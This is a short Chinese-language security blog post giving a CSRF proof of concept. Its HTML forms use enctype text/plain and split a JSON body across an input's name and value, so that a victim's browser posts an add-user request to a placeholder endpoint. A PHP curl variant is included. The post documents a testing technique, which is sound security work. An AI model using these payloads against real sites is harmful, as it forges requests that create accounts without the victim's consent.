CSRF漏洞中以form形式用POST方法提交json数据的POC

p4nda

发布于 2023-01-03 13:24:51

1.5K0

发布于 2023-01-03 13:24:51

文章被收录于专栏：技术猫屋

0x01 写在前面

今天遇到的，查了很多资料，发现这种形式的基本上没看到，圈子里某个师傅发了一个国外的链接，

参考了一下，最后成功构造poc。

0x02 POC

form提交post数据很简单，如下：

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷，如下图：

始终有个“=”摆脱不了，但是用下面这种方式成功摆脱：

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

这里的技巧主要在于name和value的值共同构成了json格式的值，利用了双引号的闭合，学到了，以后有很多测试都可以用着这方式测试，所以记下来。

0x03 题外话

本来一开始利用form怎么都构造不成，后来放弃，然后使用php中的curl功能来写：

<?php
$data = array("attributes" => 
      array("name"=> "test2@test.com", 
          "userName" => "测试2",
          "password" => "e10adc3949ba59abbe56e057f20f883e",
          "role" => "user",
          "status" => "enabled",
          "phone" => ""
      ));                                                                      
$data_string = json_encode($data);       
$ch = curl_init('http://xxx.com/db/adds');        
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");                            
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(                   
    'Content-Type: application/json',  
    'Content-Length: ' . strlen($data_string))           
);                                                                                                                     
$result = curl_exec($ch);  
echo $data_string;
?>